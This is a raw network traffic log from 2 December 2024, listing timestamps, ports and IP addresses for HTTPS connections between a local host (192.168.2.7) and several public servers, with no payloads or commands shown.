Dec 2, 2024 01:34:43.819761992 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.819792986 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.819874048 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.819880962 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.820089102 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.820102930 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.820414066 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:43.820426941 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:43.871077061 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.871121883 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.871171951 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.871201038 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.871216059 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.871421099 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.902260065 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.902293921 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.902360916 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.902369976 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.902410030 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.924511909 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.924542904 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.924611092 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.924626112 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.924660921 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.941926003 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.941966057 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.942037106 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.942054987 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:43.942087889 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:43.963241100 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.963344097 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:43.963418961 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.964323997 CET	49860	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:43.964353085 CET	443	49860	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:44.059710979 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:44.059840918 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:44.059912920 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:44.060662031 CET	49861	443	192.168.2.7	52.182.143.215
Dec 2, 2024 01:34:44.060688019 CET	443	49861	52.182.143.215	192.168.2.7
Dec 2, 2024 01:34:44.081891060 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:44.081964016 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:44.081985950 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:44.082010031 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:44.082020044 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:44.082336903 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:44.082422018 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:44.082483053 CET	443	49859	20.25.227.174	192.168.2.7
Dec 2, 2024 01:34:44.082535028 CET	49859	443	192.168.2.7	20.25.227.174
Dec 2, 2024 01:34:44.584510088 CET	443	49866	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.584986925 CET	49866	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:44.585006952 CET	443	49866	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.585432053 CET	49866	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:44.585437059 CET	443	49866	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.621702909 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:44.621726990 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:44.621766090 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:44.621797085 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:44.621814966 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:44.621843100 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:44.621850967 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:44.621901989 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:44.622090101 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:44.622109890 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:44.622121096 CET	49858	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:44.622128010 CET	443	49858	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:44.683784008 CET	443	49865	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.694417953 CET	49865	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:44.694473028 CET	443	49865	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.694928885 CET	49865	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:44.694947958 CET	443	49865	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.748050928 CET	443	49864	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.750783920 CET	49864	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:44.750803947 CET	443	49864	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.751625061 CET	49864	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:44.751631975 CET	443	49864	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.755867004 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:44.755917072 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:44.756066084 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:44.756793022 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:44.756805897 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:44.975631952 CET	443	49867	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.998492002 CET	49867	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:44.998532057 CET	443	49867	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:44.999346018 CET	49867	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:44.999356985 CET	443	49867	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.004910946 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.004997969 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.005036116 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.005036116 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.036385059 CET	443	49866	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.036465883 CET	443	49866	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.036593914 CET	49866	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.060523033 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.062916040 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.119844913 CET	443	49865	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.119929075 CET	443	49865	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.120064020 CET	49865	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.160473108 CET	443	49868	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.191998959 CET	443	49864	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.192064047 CET	443	49864	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.192328930 CET	49864	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.204699039 CET	49868	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.212212086 CET	49857	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.212243080 CET	443	49857	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.214165926 CET	49866	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.214199066 CET	443	49866	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.214221001 CET	49866	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.214242935 CET	443	49866	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.221342087 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.221360922 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.221360922 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.223805904 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.223819971 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.224143982 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.224159956 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.224312067 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.224328995 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.224544048 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.224648952 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.224670887 CET	49865	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.224672079 CET	49865	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.224699974 CET	443	49865	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.224714041 CET	443	49865	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.224739075 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.224752903 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.224770069 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.224780083 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.224792957 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.224802017 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.224817991 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.224824905 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.225752115 CET	49868	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.225759029 CET	443	49868	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.226237059 CET	49864	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.226250887 CET	443	49864	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.226330996 CET	49868	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.226336002 CET	443	49868	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.228615046 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.228625059 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.229052067 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.230005026 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.230067968 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.230386972 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.230762959 CET	49879	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.230794907 CET	443	49879	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.231076956 CET	49879	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.231905937 CET	49880	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.231954098 CET	443	49880	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.232011080 CET	49880	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.232285976 CET	49881	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.232323885 CET	443	49881	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.232373953 CET	49881	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.232414007 CET	49879	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.232425928 CET	443	49879	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.232543945 CET	49881	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.232559919 CET	443	49881	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.232729912 CET	49880	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.232739925 CET	443	49880	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.275342941 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.411322117 CET	443	49867	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.411396027 CET	443	49867	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.411464930 CET	49867	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.411628008 CET	49867	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.411647081 CET	443	49867	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.411672115 CET	49867	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.411678076 CET	443	49867	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.414484024 CET	49882	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.414520025 CET	443	49882	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.414654970 CET	49882	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.414875984 CET	49882	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.414889097 CET	443	49882	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.535778046 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.536073923 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.536103010 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.537137985 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.537216902 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.537539959 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.537600040 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.537774086 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.537781954 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.577931881 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.601452112 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.601583958 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.601623058 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.601808071 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.601824045 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.601934910 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.601948977 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.602060080 CET	49873	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.602088928 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.602444887 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.602741957 CET	49873	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.602812052 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.602896929 CET	49873	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.602921009 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.602948904 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.602977991 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.603040934 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.603247881 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.603311062 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.603611946 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.603671074 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.603822947 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.603837013 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.603866100 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.603874922 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.615173101 CET	443	49868	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.615255117 CET	443	49868	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.615417004 CET	49868	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.615454912 CET	49868	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.615475893 CET	443	49868	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.615485907 CET	49868	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.615492105 CET	443	49868	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.618046045 CET	49883	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.618098021 CET	443	49883	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.618190050 CET	49883	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.618354082 CET	49883	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:45.618372917 CET	443	49883	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:45.647334099 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.656390905 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.656501055 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.666011095 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.666352034 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.666372061 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.667433977 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.667529106 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.667838097 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.667902946 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.668171883 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.668179035 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.719595909 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.824695110 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.824732065 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.824816942 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.825320959 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:45.825335979 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:45.962682009 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.962707996 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.962768078 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.962804079 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.963941097 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.963979006 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.964186907 CET	443	49871	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.964189053 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.964234114 CET	49871	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.964329004 CET	49885	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.964382887 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:45.964448929 CET	49885	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.964991093 CET	49885	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:45.965007067 CET	443	49885	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.286009073 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.286039114 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.286103964 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.286128044 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.286248922 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.286292076 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.287409067 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.287425041 CET	443	49876	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.287440062 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.287486076 CET	49876	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.287869930 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.287910938 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.288048983 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.288553953 CET	49886	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.288563967 CET	443	49886	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.356574059 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.356596947 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.356650114 CET	49873	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.356683969 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.357644081 CET	49873	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.357695103 CET	443	49873	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.357786894 CET	49873	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.362248898 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.365453959 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.365511894 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.365520000 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.365556955 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.365793943 CET	49877	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.365813971 CET	443	49877	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.376904011 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.376974106 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.377157927 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.377192974 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.377227068 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.378082991 CET	49874	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.378103018 CET	443	49874	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.445218086 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.445240021 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.445300102 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.445317984 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.446041107 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.446083069 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.446510077 CET	49875	443	192.168.2.7	13.107.246.40
Dec 2, 2024 01:34:46.446525097 CET	443	49875	13.107.246.40	192.168.2.7
Dec 2, 2024 01:34:46.604511023 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:46.605354071 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:46.605387926 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:46.606378078 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:46.606384039 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:46.606518984 CET	49878	443	192.168.2.7	20.190.181.1
Dec 2, 2024 01:34:46.606528997 CET	443	49878	20.190.181.1	192.168.2.7
Dec 2, 2024 01:34:46.964524984 CET	443	49880	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:46.965126991 CET	49880	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:46.965163946 CET	443	49880	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:46.965663910 CET	49880	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:46.965673923 CET	443	49880	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:46.984250069 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:46.984421015 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:46.984647036 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:46.986401081 CET	49872	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:46.986421108 CET	443	49872	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.138448000 CET	443	49879	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.138497114 CET	443	49881	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.138988972 CET	49879	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.139020920 CET	443	49879	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.140501976 CET	49879	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.140508890 CET	443	49879	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.140846968 CET	49881	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.140882969 CET	443	49881	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.141284943 CET	49881	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.141292095 CET	443	49881	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.154846907 CET	443	49882	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.155798912 CET	49882	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.155798912 CET	49882	443	192.168.2.7	13.107.246.63
Dec 2, 2024 01:34:47.155833960 CET	443	49882	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.155847073 CET	443	49882	13.107.246.63	192.168.2.7
Dec 2, 2024 01:34:47.246289968 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.246406078 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.278410912 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.278426886 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.281239033 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.281250954 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.281327963 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.281336069 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.281362057 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.281366110 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.281488895 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.281506062 CET	443	49884	94.130.210.71	192.168.2.7
Dec 2, 2024 01:34:47.283020973 CET	49884	443	192.168.2.7	94.130.210.71
Dec 2, 2024 01:34:47.283046007 CET	443	49884	94.130.210.71	192.168.2.7
